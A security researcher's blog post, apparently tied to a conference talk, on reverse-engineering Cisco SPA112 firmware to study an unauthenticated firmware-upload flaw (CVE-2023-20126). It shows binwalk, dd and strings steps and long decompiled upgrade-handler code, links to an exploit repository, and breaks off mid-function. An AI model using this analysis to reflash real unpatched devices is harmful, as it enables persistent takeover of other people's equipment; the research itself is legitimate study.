Cisco SPA112 Forever-Day: CVE-2023-20126.

Note: this is the "main" blogpost for the talk I am giving at BSides Basingstoke 2023. It spawned a dozen or so other blog posts, some of which have yet to be published. This post should auto publish at the time I am giving the talk, or just before, or something.

While browsing the wabs, I came across this advisory from Cisco, which really tickled my fancy.

The important bit is quoted below, with highlights in bold.

A vulnerability in the web-based management interface of Cisco SPA112 2-Port Phone Adapters could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
This vulnerability is due to a missing authentication process within the firmware upgrade function. An attacker could exploit this vulnerability by upgrading an affected device to a crafted version of firmware. A successful exploit could allow the attacker to execute arbitrary code on the affected device with full privileges.
Cisco has not released firmware updates to address this vulnerability. There are no workarounds that address this vulnerability.

The TL;DR is a remote, unauthenticated attacker can reflash the firmware of the SPA112 device, gaining remote code execution.

And because it is an EoL device, Cisco aren't releasing patches.

What the advisory fails to mention is the attacker also gains persistence on the device.

Forever.

I knew what I had to do. I had to write an exploit for this.

If you can't be fucked reading all this, you can find exploit code here: https://github.com/fullspectrumdev/RancidCrisco

This is the first of a few parts, this post will show the process of "discovering" the bug and writing a minimum viable PoC. There is no patch, so I couldn't do any bindiffing. I only had the information from the Cisco advisory to go on, my gut instinct about the issue, etc.

Reader warning: there are a couple of excessively long decompiler outputs I found interesting in this post, just scroll past them, I don't offer much commentary on them, and due to a fuckup, they aren't annotated. This post is kind of a braindump that I'll come back to when writing a follow up. I'm mostly writing this for me (and anyone else who is a train appreciator).

Typo note: I'm currently using a Mac with the shite keyboard to type all this, sometimes I miss typos or random punctuation gets embedded in the middle of a sentence.

Getting Firmware

Thankfully, this was easy. I was able to quickly download the latest firmware for the device, released in 2019, from the Cisco website. You can get it here.

No oceans of piss or burning hoops of fire to jump through or talking to sales reps needed. My least favourite thing when doing research on targets is when I end up getting incessant calls and emails from sales reps.

Unpacking Firmware.

First, we look with binwalk. I'd have preferred to use unblob, but I didn't have it installed at the time on the machine I was using.

$ binwalk Payton_1.4.1_SR5_101419_1250_pfmwr.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
392           0x188           uImage header, header size: 64 bytes, header CRC: 0xF534C9EA, created: 2106-02-07 06:28:15, image size: 1572736 bytes, Data Address: 0x20008000, Entry Point: 0x20008000, data CRC: 0xE6D5E563, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "SP2Xcybertan_rom_bin"
456           0x1C8           Linux kernel ARM boot executable zImage (little-endian)
13596         0x351C          gzip compressed data, maximum compression, from Unix, last modified: 2019-10-14 04:38:56
1573192       0x180148        uImage header, header size: 64 bytes, header CRC: 0x96353C43, created: 2106-02-07 06:28:15, image size: 8478720 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x96855278, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: "SP2Xcybertan_rom_bin"
1573256       0x180188        Squashfs filesystem, little endian, non-standard signature, version 3.1, size: 8476193 bytes, 1028 inodes, blocksize: 131072 bytes, created: 2019-10-14 04:51:02

Next, we carve out our squashfs for a look see. I prefer to do this with dd instead of letting binwalk do it for me, because binwalk sometimes fucks it up.

$ dd if=Payton_1.4.1_SR5_101419_1250_pfmwr.bin bs=1 skip=1573256 of=fs.sqfs
8519680+0 records in
8519680+0 records out
8519680 bytes (8.5 MB, 8.1 MiB) copied, 20.0792 s, 424 kB/s

Double check our work, for sanity.

$ binwalk fs.sqfs 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Squashfs filesystem, little endian, non-standard signature, version 3.1, size: 8476193 bytes, 1028 inodes, blocksize: 131072 bytes, created: 2019-10-14 04:51:02

Now, I ended up having to use sasquatch here, I would have preferred to use backhand. Which is more modern, maintained, less cursed, and Rust. However at the time of doing this project, backhand didn't yet support this specific squashfs version.

After unpacking, we are left with a Linux filesystem to play with. Looking briefly, it seems most functions are handled by a /usr/sbin/httpd binary. So we will go look at that, I guess.

Looking at the upgrade process.

This section is pointless. I have a really hard time making communicating "what happens when I stare at decompiler output for ages and go 'hmm' a lot while looking at it", but I'll try my best.

Just scroll past it if dumps of decompiled output bore you.

First, we run strings and grep for the word 'upgrade'. Running strings is really the first thing you should do when reverse engineering stuff, sometimes you find an answer fast. Or a clue.

strings ./usr/sbin/httpd | grep upgrade
check_upgrade_limit_by_fullimage
check_upgrade_limit
ctl_admin_upgrade
upgrade_page
remote_upgrade
upgrade.cgi*
Have SIP call now, not allow to upgrade
cannot acquire upgrade lock, another process is doing upgrade now!
sys_upgrade read error
Unknow upgrade File
http_upgrade
split fimware error, cannot upgrade:%d
sys_upgrade done(%d)
 Fail: upgrade file size = %d 
Can't upgrade from wan side
sys_upgrade_2
upgrade_flag
upgrade_file

We know from grepping in the filesystem for upgrade.cgi that the Upgrade_run.asp page in the webroot sends a request to /upgrade.cgi. I'd paste that file below, but its a web form and... Yeah nah. No point.

So we search for upgrade.cgi in Ghidra...

Eventually, after much clickfucking around, we find a function that seems to trigger some upgrading based on some uploaded files.


void FUN_0001f7ac(undefined4 param_1,FILE *param_2,size_t param_3,char *param_4)

{
  char *pcVar1;
  size_t sVar2;
  int iVar3;
  int iVar4;
  FILE *__s;
  uint uVar5;
  size_t local_42c [2];
  char local_421;
  char local_420;
  char local_41f;
  
  DAT_00064ea8 = 0x16;
  local_42c[0] = param_3;
  system("cp /www/Success_u.asp /tmp/.");
  system("cp /www/Fail_r_s.asp /tmp/.");
  system("cp /www/Success_u_s.asp /tmp/.");
  system("cp /www/Fail_u_s.asp /tmp/.");
  system("cp /sbin/write /tmp/write");
  if ((int)local_42c[0] < 1) {
    printf("\n Fail: upgrade file size = %d \n",local_42c[0]);
  }
  else {
    sVar2 = local_42c[0];
    do {
      uVar5 = sVar2 + 1;
      if (0x3ff < uVar5) {
        uVar5 = 0x400;
      }
      pcVar1 = FUN_000108e0(&local_421,uVar5,param_2);
      if (pcVar1 == (char *)0x0) {
        return;
      }
      sVar2 = strlen(&local_421);
      sVar2 = local_42c[0] - sVar2;
      local_42c[0] = sVar2;
      iVar3 = strncasecmp(&local_421,"Content-Disposition:",0x14);
      if (iVar3 == 0) {
        pcVar1 = strstr(&local_421,"name=\"file\"");
        if (pcVar1 != (char *)0x0) {
          DAT_00084190 = 1;
          nvram_set("submit_button","Upgrade");
          iVar3 = 2;
          goto LAB_0001f8cc;
        }
        pcVar1 = strstr(&local_421,"name=\"restore\"");
        if (pcVar1 != (char *)0x0) {
          DAT_000623ac = 1;
          nvram_set("submit_button","Restore");
          iVar3 = 1;
          goto LAB_0001f8cc;
        }
      }
    } while (0 < (int)sVar2);
    iVar3 = 0;
LAB_0001f8cc:
    iVar4 = nvram_match("submit_button","Upgrade");
    if ((((iVar4 == 0) || (DAT_0005ded4 = 0x101, DAT_0006dd88 != 0)) ||
        (iVar4 = nvram_match("remote_upgrade",&DAT_0004b814), iVar4 != 0)) ||
       (iVar4 = nvram_match("router_mode",&DAT_0004b814), iVar4 == 0)) {
      while (uVar5 = local_42c[0] + 1, 0 < (int)local_42c[0]) {
        if (0x3ff < uVar5) {
          uVar5 = 0x400;
        }
        pcVar1 = FUN_000108e0(&local_421,uVar5,param_2);
        if (pcVar1 == (char *)0x0) {
          return;
        }
        sVar2 = strlen(&local_421);
        local_42c[0] = local_42c[0] - sVar2;
        if (((local_421 == '\n') && (local_420 == '\0')) ||
           ((local_421 == '\r' && ((local_420 == '\n' && (local_41f == '\0')))))) break;
      }
      DAT_00064ea8 = FUN_0001e048(0,param_2,local_42c,iVar3,param_4);
    }
    else {
      __s = fopen("/dev/console","w");
      if (__s != (FILE *)0x0) {
        fwrite("Can\'t upgrade from wan side\n",1,0x1c,__s);
        fclose(__s);
      }
      DAT_00064ea8 = 99;
    }
    for (; 0 < (int)local_42c[0]; local_42c[0] = local_42c[0] - sVar2) {
      while (DAT_000623c8 != 0) {
        BIO_gets((BIO *)param_2,&local_421,1);
        if ((int)local_42c[0] < 1) {
          return;
        }
      }
      sVar2 = FUN_00010548(&local_421,1,0x401,param_2);
      if ((int)sVar2 < 0) {
        return;
      }
    }
  }
  return;
}

I figure I'll also mention here, that it copies something called /sbin/write to /tmp/write. /sbin/write is a symlink to /sbin/rc, for what its worth. I ran strings on it, it contains upgrade related functionality.

$ ls -la ./sbin | grep write
lrwxrwxrwx    1 1032     1032            2 May 15 19:05 write -> rc
 cd ./sbin
$ ls rc
rc
$ ls -lah rc 
-rwxr-xr-x    1 1032     1032       571.5k Oct 14  2019 rc
$ strings rc | grep upgrade

check_upgrade_limit_by_fullimage
check_upgrade_limit
tftp_upgrade
http_upgrade
remote_upgrade
Not allow to upgrade to this version of F/W (%s)!!!

Maybe I'll stare at that in Ghidra later, but back to httpd for a moment.

This write binary then gets referenced elsewhere, in this giant function which seems to actually do the upgrading.


/* WARNING: Restarted to delay deadcode elimination for space: stack */

uint FUN_0001e048(int param_1,FILE *param_2,size_t *param_3,int param_4,char *param_5)

{
  bool bVar1;
  uint uVar2;
  size_t param2;
  int iVar3;
  int iVar4;
  FILE *pFVar5;
  char *pcVar6;
  __pid_t _Var7;
  uint *puVar8;
  int iVar9;
  int *piVar10;
  size_t sVar11;
  int iVar12;
  size_t sVar13;
  bool bVar14;
  FILE *local_248c;
  uint local_2484;
  int local_2480;
  char *local_247c;
  undefined4 local_2474;
  char acStack_2469 [8193];
  char acStack_468 [256];
  char acStack_368 [128];
  undefined4 local_2e8;
  undefined4 uStack_2e4;
  undefined4 uStack_2e0;
  undefined4 uStack_2dc;
  uint local_2d8;
  undefined local_2d4;
  char *apcStack_268 [32];
  stat sStack_1e8;
  char acStack_190 [64];
  undefined auStack_150 [64];
  undefined auStack_110 [30];
  byte local_f2;
  undefined auStack_f0 [4];
  char acStack_ec [28];
  char *local_d0;
  undefined *local_cc;
  char *local_c8;
  undefined *local_c4;
  char *local_c0;
  undefined *local_bc;
  char *local_b8;
  undefined *local_b4;
  char *local_b0;
  undefined *local_ac;
  char *local_a8;
  int local_a4;
  undefined4 local_a0;
  char acStack_9a [18];
  char *pcStack_88;
  char *pcStack_84;
  char *pcStack_80;
  undefined4 uStack_7c;
  char acStack_78 [16];
  char *local_68;
  char *local_64;
  char *local_60;
  int local_5c;
  char acStack_56 [16];
  char acStack_46 [6];
  uint local_40;
  int local_3c;
  char *local_38;
  uint local_34;
  __pid_t local_30;
  __pid_t local_2c [2];
  
  memcpy(acStack_9a,"/tmp/uploadXXXXXX",0x12);
  memcpy(acStack_56,"sysconf-restore",0x10);
  memcpy(acStack_46,&DAT_0004cc70,6);
  local_34 = 0;
  local_38 = (char *)0x0;
  param2 = strlen(param_5);
  nvram_get_ex("model_name",acStack_78,0x10);
  DAT_00084194 = 0;
  iVar3 = rpplink_get_voicecall_status();
  if (iVar3 == 1) {
    puts("Have SIP call now, not allow to upgrade");
    DAT_00084194 = 1;
    return 0xfffffff0;
  }
  iVar4 = libupg_acquire_upglock();
  iVar3 = DAT_000623c8;
  if (iVar4 != 0) {
    puts("cannot acquire upgrade lock, another process is doing upgrade now!");
    return 0xfffffff0;
  }
  system("cp /usr/sbin/splitfmwr /tmp/splitfmwr");
  if (param_1 != 0) {
    local_d0 = "/tmp/splitfmwr";
    local_cc = &DAT_0004c640;
    local_c8 = "/home/usb_disk/pb_usb_drive.tgz";
    local_c4 = &DAT_0004c664;
    local_c0 = "/tmp/pfmwr.img";
    local_bc = &DAT_0004c678;
    local_b8 = "/tmp/bootldr.img";
    local_b4 = &DAT_000482a0;
    local_b0 = "/tmp/sfmwr.img";
    local_ac = &DAT_0004c6a0;
    local_a0 = 0;
    local_a8 = "/tmp/SPA_HS.img";
    local_a4 = param_1;
    local_34 = _eval(&local_d0,">/dev/console",0);
    if (local_34 == 0) {
      pcStack_88 = "/tmp/write";
      pcStack_84 = "/tmp/pfmwr.img";
      pcStack_80 = "ROMIMAGE";
      uStack_7c = 0;
      local_34 = _eval(&pcStack_88,">/dev/console",0,0);
    }
    else {
      local_34 = 0xfffffff7;
    }
    libupg_release_upglock();
    return local_34;
  }
  system_event_sendto(0x300011,0);
  if (iVar3 == 0) {
    buf_to_file("/tmp/action","ACT_WEB_UPGRADE");
    iVar4 = fileno(param_2);
    local_2480 = fcntl(iVar4,3);
    if (-1 < local_2480) {
      iVar4 = fileno(param_2);
      iVar4 = fcntl(iVar4,4);
      if (-1 < iVar4) goto LAB_0001e250;
    }
    puVar8 = (uint *)__errno_location();
    uVar2 = *puVar8;
    goto LAB_0001e4e0;
  }
  buf_to_file("/tmp/action","ACT_WEBS_UPGRADE");
  local_2480 = -1;
LAB_0001e250:
  pFVar5 = fopen("/dev/console","w");
  if (pFVar5 != (FILE *)0x0) {
    fprintf(pFVar5,"Upgrading ..... (buf size=%d, total size=%d)\n",0x2000,*param_3);
    fclose(pFVar5);
  }
  sVar11 = *param_3;
  uVar2 = (uint)(sVar11 == 0);
  if (sVar11 == 0) goto LAB_0001e4e0;
  sVar13 = 0x2000;
  local_248c = (FILE *)0x0;
  local_247c = (char *)0x0;
  local_2484 = 0;
  local_2474 = 0;
  bVar1 = false;
  do {
    if ((int)sVar11 <= (int)sVar13) {
      sVar13 = sVar11;
    }
    iVar4 = FUN_0001df88(param_2,iVar3,acStack_2469,sVar13,(size_t *)&local_38);
    if (iVar4 != 0) {
      local_34 = 1;
      pFVar5 = fopen("/dev/console","w");
      if (pFVar5 != (FILE *)0x0) {
        fwrite("sys_upgrade read error\n",1,0x17,pFVar5);
        fclose(pFVar5);
      }
      goto LAB_0001e4cc;
    }
    if (local_38 != (char *)0x0) {
      local_2484 = local_2484 + 1;
      sVar11 = *param_3 - (int)local_38;
      *param_3 = sVar11;
      if (local_2484 == 1) {
        local_64 = acStack_9a;
        local_5c = iVar4;
        memcpy(auStack_110,acStack_2469,0x40);
        pFVar5 = fopen("/dev/console","w");
        if (pFVar5 != (FILE *)0x0) {
          fprintf(pFVar5,"\nimg_hd.type=%d, type=%d\n",(uint)local_f2,param_4);
          fclose(pFVar5);
        }
        if (local_f2 == 2 || local_f2 == 4) {
          if (param_4 != 2) goto LAB_0001e7cc;
          local_68 = "/tmp/write";
          iVar4 = memcmp(acStack_ec,"cybertan_half_bin",0x11);
          if (iVar4 == 0) {
            local_60 = "HALFIMAGE";
            pFVar5 = fopen("/dev/console","w");
            if (pFVar5 != (FILE *)0x0) {
              fwrite("Upgrade Half Image\n",1,0x13,pFVar5);
              fclose(pFVar5);
            }
          }
          else {
            local_60 = "ROMIMAGE";
            pFVar5 = fopen("/dev/console","w");
            if (pFVar5 != (FILE *)0x0) {
              fwrite("Upgrade ROM Image\n",1,0x12,pFVar5);
              fclose(pFVar5);
            }
          }
          iVar4 = memcmp(auStack_f0,&DAT_0004c7a4,4);
          if (iVar4 != 0) {
            pFVar5 = fopen("/dev/console","w");
            if (pFVar5 != (FILE *)0x0) {
              fwrite("Code Pattern Error!\n",1,0x14,pFVar5);
              fclose(pFVar5);
            }
            local_247c = (char *)0x0;
            local_34 = 1;
            uVar2 = local_34;
            goto LAB_0001e85c;
          }
          if (local_34 == 0) {
            iVar4 = check_upgrade_limit(auStack_110);
            if (iVar4 == 0) {
              local_34 = 1;
            }
            else if (local_34 == 0) {
              iVar4 = cy_mtd_size(local_60);
              if ((iVar4 < (int)(local_38 + *param_3)) || (0xd00000 < (int)*param_3)) {
                pFVar5 = fopen("/dev/console","w");
                if (pFVar5 != (FILE *)0x0) {
                  fwrite("Upgrade Image Size is too big\n",1,0x1e,pFVar5);
                  fclose(pFVar5);
                }
                goto LAB_0001e4c0;
              }
            }
          }
LAB_0001ee38:
          local_247c = (char *)0x0;
          uVar2 = local_34;
LAB_0001e85c:
          local_34 = uVar2;
          if (!bVar1) {
            local_248c = fopen(acStack_9a,"w");
            if (local_248c != (FILE *)0x0) {
LAB_0001ea70:
              pFVar5 = fopen("/dev/console","w");
              if (pFVar5 != (FILE *)0x0) {
                fwrite("code pattern correct!\n",1,0x16,pFVar5);
                fclose(pFVar5);
              }
              run_single_service_async("http_upgrade",0);
              sleep(0xf);
              sVar11 = *param_3;
              goto LAB_0001e360;
            }
            pFVar5 = fopen("/dev/console","w");
            if (pFVar5 != (FILE *)0x0) {
              fwrite("write error ....\n",1,0x11,pFVar5);
              fclose(pFVar5);
            }
            uVar2 = local_34;
            if (local_34 == 0) {
              puVar8 = (uint *)__errno_location();
              uVar2 = *puVar8;
            }
            goto LAB_0001e4e0;
          }
LAB_0001e868:
          pcVar6 = mktemp(acStack_9a);
          if ((pcVar6 == (char *)0x0) || (iVar4 = mkfifo(acStack_9a,0x1c0), iVar4 < 0)) {
            pFVar5 = fopen("/dev/console","w");
            if (pFVar5 != (FILE *)0x0) {
              fwrite("write error ....\n",1,0x11,pFVar5);
              fclose(pFVar5);
            }
            if (local_34 == 0) {
              puVar8 = (uint *)__errno_location();
              local_34 = *puVar8;
            }
          }
          else {
            iVar4 = open("/dev/mtd/2",2);
            if (iVar4 == -1) {
              perror("open flash");
                    /* WARNING: Subroutine does not return */
              exit(1);
            }
            iVar9 = ioctl(iVar4,0x80044d14,&local_3c);
            if (iVar9 != 0) {
              perror("MEMGETFLASHTYPE");
              close(iVar4);
                    /* WARNING: Subroutine does not return */
              exit(1);
            }
            printf("flash_type = %dMB\n",local_3c);
            puts("launching split fmwr");
            iVar4 = local_2474;
            bVar14 = local_3c == 0x80;
            apcStack_268[local_2474] = "/tmp/splitfmwr";
            apcStack_268[local_2474 + 1] = "-p";
            apcStack_268[local_2474 + 2] = "/tmp/pfmwr.img";
            if (bVar14) {
              apcStack_268[local_2474 + 3] = "-B";
              apcStack_268[local_2474 + 4] = "/tmp/bootldr_128.img";
            }
            else {
              apcStack_268[local_2474 + 3] = "-b";
              apcStack_268[local_2474 + 4] = "/tmp/bootldr.img";
            }
            iVar12 = local_2474 + 10;
            apcStack_268[local_2474 + 5] = "-s";
            apcStack_268[local_2474 + 6] = "/tmp/sfmwr.img";
            apcStack_268[local_2474 + 7] = "-h";
            apcStack_268[local_2474 + 8] = "/tmp/SPA_HS.img";
            apcStack_268[local_2474 + 9] = "-w";
            apcStack_268[iVar12] = "/home/file_store/wz.fs";
            iVar9 = cy_is_model_type_adsl();
            if (iVar9 == 1) {
              iVar12 = iVar4 + 0xe;
              apcStack_268[iVar4 + 0xb] = "-d";
              apcStack_268[iVar4 + 0xc] = "/tmp/ram_zimage.bin";
              apcStack_268[iVar4 + 0xd] = "-D";
              apcStack_268[iVar12] = "/tmp/dsl_boot.bin";
            }
            local_2474 = iVar12 + 2;
            apcStack_268[iVar12 + 1] = acStack_9a;
            apcStack_268[local_2474] = (char *)0x0;
            local_30 = -1;
            _eval(apcStack_268,0,0,&local_30);
            if (-1 < local_30) {
              local_248c = fopen(acStack_9a,"w");
              goto LAB_0001ea70;
            }
            puts("invoke splitfmwr error");
            local_34 = 0xffffffff;
          }
        }
        else {
          if (local_f2 == 5 && param_4 == 2) {
            local_68 = "/tmp/write";
            pcVar6 = (char *)memcmp(auStack_f0,&DAT_0004c7a4,4);
            if (pcVar6 == (char *)0x0) {
              local_247c = strstr(acStack_ec,"boot_");
              uVar2 = local_2484;
              if (local_247c != (char *)0x0) {
                local_60 = "UBOOT";
                pFVar5 = fopen("/dev/console","w");
                if (pFVar5 == (FILE *)0x0) goto LAB_0001ee38;
                fwrite("Upgrade Bootloader Image\n",1,0x19,pFVar5);
                fclose(pFVar5);
                local_247c = pcVar6;
                uVar2 = local_34;
              }
            }
            else {
              local_247c = (char *)0x0;
              uVar2 = local_2484;
            }
            goto LAB_0001e85c;
          }
LAB_0001e7cc:
          if (local_f2 != 8 || param_4 != 1) {
            iVar4 = strncmp(acStack_2469,"SRP520  FiRmWaRe",0x10);
            if ((((((iVar4 != 0) &&
                   (iVar4 = strncmp(acStack_2469,"SRP540  FiRmWaRe",0x10), iVar4 != 0)) &&
                  ((iVar4 = strncmp(acStack_2469,"PAYTON  FiRmWaRe",0x10), iVar4 != 0 ||
                   ((iVar4 = strcmp(acStack_78,"SPA112"), iVar4 != 0 &&
                    (iVar4 = strcmp(acStack_78,"SPA122"), iVar4 != 0)))))) &&
                 ((iVar4 = strncmp(acStack_2469,"PAYTOND FiRmWaRe",0x10), iVar4 != 0 ||
                  (iVar4 = strcmp(acStack_78,"SPA232D"), iVar4 != 0)))) &&
                (iVar4 = strncmp(acStack_2469,"VS510W  FiRmWaRe",0x10), iVar4 != 0)) ||
               (param_4 != 2)) {
              pFVar5 = fopen("/dev/console","w");
              if (pFVar5 != (FILE *)0x0) {
                fwrite("Unknow upgrade File\n",1,0x14,pFVar5);
                fclose(pFVar5);
              }
LAB_0001e4c0:
              local_34 = 1;
              goto LAB_0001e4cc;
            }
            pFVar5 = fopen("/dev/console","w");
            if (pFVar5 != (FILE *)0x0) {
              fwrite("Upgrade Cisco Encapsulated Firmware\n",1,0x24,pFVar5);
              fclose(pFVar5);
            }
            bVar1 = true;
            local_247c = (char *)0x1;
            goto LAB_0001e868;
          }
          iVar4 = memcmp(auStack_f0,&DAT_0004c7a4,4);
          if ((iVar4 == 0) &&
             (local_247c = (char *)cy_config_is_hd_name_match(acStack_ec), local_247c == (char *)0x1
             )) {
            local_68 = acStack_56;
            local_60 = acStack_46;
            pFVar5 = fopen("/dev/console","w");
            uVar2 = local_34;
            if (pFVar5 != (FILE *)0x0) {
              fwrite("Upgrade Config File\n",1,0x14,pFVar5);
              fclose(pFVar5);
              uVar2 = local_34;
            }
            goto LAB_0001e85c;
          }
          local_34 = 1;
          pFVar5 = fopen("/dev/console","w");
          if (pFVar5 != (FILE *)0x0) {
            fwrite("Code Pattern Error!\n",1,0x14,pFVar5);
            fclose(pFVar5);
          }
        }
LAB_0001e4cc:
        uVar2 = local_34;
        if (local_248c != (FILE *)0x0) {
          fclose(local_248c);
          uVar2 = local_34;
        }
        goto LAB_0001e4e0;
      }
LAB_0001e360:
      if (0 < (int)param2 && (int)sVar11 < 1) {
        pcVar6 = strstr(acStack_2469 + (int)(local_38 + (-8 - param2)),param_5);
        pFVar5 = fopen("/dev/console","w");
        if (pFVar5 != (FILE *)0x0) {
          fprintf(pFVar5,"\nbound-len=%d,%p,%p\n",param2,acStack_2469,pcVar6);
          fclose(pFVar5);
        }
        if (pcVar6 != (char *)0x0) {
          local_38 = pcVar6 + (-4 - (int)acStack_2469);
        }
      }
      safe_fwrite(acStack_2469,1);
      pFVar5 = fopen("/dev/console","w");
      if (pFVar5 != (FILE *)0x0) {
        fputc(0x2e,pFVar5);
        fclose(pFVar5);
      }
    }
    sVar11 = *param_3;
  } while (sVar11 != 0);
  fclose(local_248c);
  uVar2 = local_34;
  if (local_34 != 0) goto LAB_0001e4e0;
  wait_single_service_async();
  if (bVar1) {
    do {
      _Var7 = waitpid(local_30,(int *)&local_40,0);
    } while (_Var7 != local_30);
    if ((local_40 & 0x7f) == 0) {
      local_40 = (int)(local_40 & 0xff00) >> 8;
    }
    local_34 = 0;
    if (local_40 == 0) {
      if (local_3c == 0x80) {
        uStack_2dc = 0x3832315f;
        local_2d8 = 0x676d692e;
        local_2d4 = 0;
      }
      else {
        uStack_2dc = 0x676d692e;
        local_2d8 = local_2d8 & 0xffffff00;
      }
      uStack_2e0 = 0x72646c74;
      uStack_2e4 = 0x6f6f622f;
      local_2e8 = 0x706d742f;
      iVar4 = __xstat(3,"/tmp/pfmwr.img",&sStack_1e8);
      if ((iVar4 == 0) &&
         (iVar4 = check_upgrade_limit_by_fullimage("/tmp/pfmwr.img",auStack_150), iVar4 == 0)) {
        local_40 = 1;
      }
      else if (local_40 == 0) {
        iVar4 = __xstat(3,(char *)&local_2e8,&sStack_1e8);
        if (iVar4 == 0) {
          sprintf(acStack_468,"/tmp/write %s UBOOT",(char *)&local_2e8);
          local_40 = system(acStack_468);
          if (local_40 == 0xffffffff) {
LAB_0001f15c:
            if (local_40 == 0) {
LAB_0001f164:
              iVar4 = __xstat(3,"/tmp/SPA_HS.img",&sStack_1e8);
              if (iVar4 == 0) {
                system("umount /hsfw");
                system("sync");
                get_mtd_dev_by_name("HS_FW",1,acStack_190,0x1f);
                iVar4 = mount(acStack_190,"/hsfw","jffs2",0x10,(void *)0x0);
                if (iVar4 != 0) {
                  get_mtd_dev_by_name("HS_FW",0,acStack_190,0x1f);
                  sprintf(acStack_368,"/usr/sbin/flash_eraseall -j %s",acStack_190);
                  system(acStack_368);
                  get_mtd_dev_by_name("HS_FW",1,acStack_190,0x1f);
                  iVar4 = mount(acStack_190,"/hsfw","jffs2",0x10,(void *)0x0);
                  if (iVar4 != 0) {
                    local_40 = 0xffffffff;
                    goto LAB_0001e6dc;
                  }
                }
                local_40 = system("cp /tmp/SPA_HS.img /hsfw/SPA_HS.img");
                unlink("/tmp/SPA_HS.img");
                puts("echo 1 > /hsfw/SPA_HS_downloaded");
                system("echo 1 > /hsfw/SPA_HS_downloaded");
                if (local_40 != 0xffffffff) {
                  if ((local_40 & 0x7f) == 0) {
                    local_40 = (int)(local_40 & 0xff00) >> 8;
                  }
                  if (local_40 == 0) {
LAB_0001f21c:
                    iVar4 = __xstat(3,"/tmp/pfmwr.img",&sStack_1e8);
                    if (iVar4 != 0) goto LAB_0001ee7c;
                    iVar4 = mlockall(3);
                    if ((iVar4 != 0) && (pFVar5 = fopen("/dev/console","w"), pFVar5 != (FILE *)0x0))
                    {
                      piVar10 = __errno_location();
                      pcVar6 = strerror(*piVar10);
                      fprintf(pFVar5,"%s: mlockall fail (%s) \n","sys_upgrade_2",pcVar6);
                      fclose(pFVar5);
                    }
                    sync();
                    local_40 = system("/tmp/write /tmp/pfmwr.img ROMIMAGE");
                    if (local_40 != 0xffffffff) {
                      if ((local_40 & 0x7f) == 0) {
                        local_40 = (int)(local_40 & 0xff00) >> 8;
                      }
                      if (local_40 == 0) goto LAB_0001e6f0;
                      pFVar5 = fopen("/dev/console","w");
                      if (pFVar5 != (FILE *)0x0) {
                        fprintf(pFVar5,"write primary image error:%d\n",local_40);
                        fclose(pFVar5);
                      }
                      local_40 = 1;
                    }
                  }
                  else {
                    pFVar5 = fopen("/dev/console","w");
                    if (pFVar5 != (FILE *)0x0) {
                      fprintf(pFVar5,"write headset image error:%d\n",local_40);
                      fclose(pFVar5);
                    }
                    local_40 = 1;
                  }
                }
              }
              else {
                system("umount /hsfw");
                system("sync");
                get_mtd_dev_by_name("HS_FW",1,acStack_190,0x1f);
                iVar4 = mount(acStack_190,"/hsfw","jffs2",0x10,(void *)0x0);
                if (iVar4 != 0) {
                  get_mtd_dev_by_name("HS_FW",0,acStack_190,0x1f);
                  sprintf(acStack_368,"/usr/sbin/flash_eraseall -j %s",acStack_190);
                  system(acStack_368);
                  get_mtd_dev_by_name("HS_FW",1,acStack_190,0x1f);
                  iVar4 = mount(acStack_190,"/hsfw","jffs2",0x10,(void *)0x0);
                  if (iVar4 != 0) {
                    local_40 = 0xffffffff;
                    goto LAB_0001e6dc;
                  }
                }
                puts("echo 0 > /hsfw/SPA_HS_downloaded");
                system("echo 0 > /hsfw/SPA_HS_downloaded");
                if (local_40 != 0xffffffff) {
                  if ((local_40 & 0x7f) == 0) {
                    local_40 = (int)(local_40 & 0xff00) >> 8;
                  }
                  if (local_40 == 0) goto LAB_0001f21c;
                  printf("write headset image error:%d\n",local_40);
                  local_40 = 1;
                }
              }
            }
          }
          else {
            if ((local_40 & 0x7f) == 0) {
              local_40 = (int)(local_40 & 0xff00) >> 8;
            }
            if (local_40 == 0) goto LAB_0001f13c;
            pFVar5 = fopen("/dev/console","w");
            if (pFVar5 != (FILE *)0x0) {
              pcVar6 = "write bootloader image error:%d\n";
LAB_0001f4f8:
              fprintf(pFVar5,pcVar6,local_40);
              fclose(pFVar5);
            }
LAB_0001f50c:
            local_40 = 1;
          }
        }
        else if (local_40 == 0) {
LAB_0001f13c:
          iVar4 = __xstat(3,"/tmp/sfmwr.img",&sStack_1e8);
          if (iVar4 != 0) goto LAB_0001f15c;
          local_40 = system("/tmp/write /tmp/sfmwr.img HALFIMAGE");
          if (local_40 != 0xffffffff) {
            if ((local_40 & 0x7f) == 0) {
              local_40 = (int)(local_40 & 0xff00) >> 8;
            }
            if (local_40 != 0) {
              pFVar5 = fopen("/dev/console","w");
              if (pFVar5 != (FILE *)0x0) {
                pcVar6 = "write recovery image error:%d\n";
                goto LAB_0001f4f8;
              }
              goto LAB_0001f50c;
            }
            goto LAB_0001f164;
          }
        }
      }
LAB_0001e6dc:
      *param_3 = 0;
      local_34 = 0xffffffff;
    }
    else {
      pFVar5 = fopen("/dev/console","w");
      if (pFVar5 != (FILE *)0x0) {
        fprintf(pFVar5,"split fimware error, cannot upgrade:%d\n",local_40);
        fclose(pFVar5);
      }
      local_34 = local_40;
LAB_0001ee7c:
      if (local_40 != 0) goto LAB_0001e6dc;
    }
LAB_0001e6f0:
    unlink("/tmp/pfmwr.img");
    unlink("/tmp/sfmwr.img");
  }
  else if ((local_247c == (char *)0x0) && (iVar4 = check_firmware_content(acStack_9a), iVar4 != 1))
  {
    local_34 = 1;
    pFVar5 = fopen("/dev/console","w");
    if (pFVar5 != (FILE *)0x0) {
      fwrite("Invalid checksum Image\n",1,0x17,pFVar5);
      fclose(pFVar5);
    }
  }
  else {
    iVar4 = mlockall(3);
    if ((iVar4 != 0) && (pFVar5 = fopen("/dev/console","w"), pFVar5 != (FILE *)0x0)) {
      piVar10 = __errno_location();
      pcVar6 = strerror(*piVar10);
      fprintf(pFVar5,"%s: mlockall fail (%s) \n","sys_upgrade_2",pcVar6);
      fclose(pFVar5);
    }
    sync();
    _eval(&local_68,0,0,local_2c);
    waitpid(local_2c[0],(int *)&local_34,0);
    pFVar5 = fopen("/dev/console","w");
    if (pFVar5 != (FILE *)0x0) {
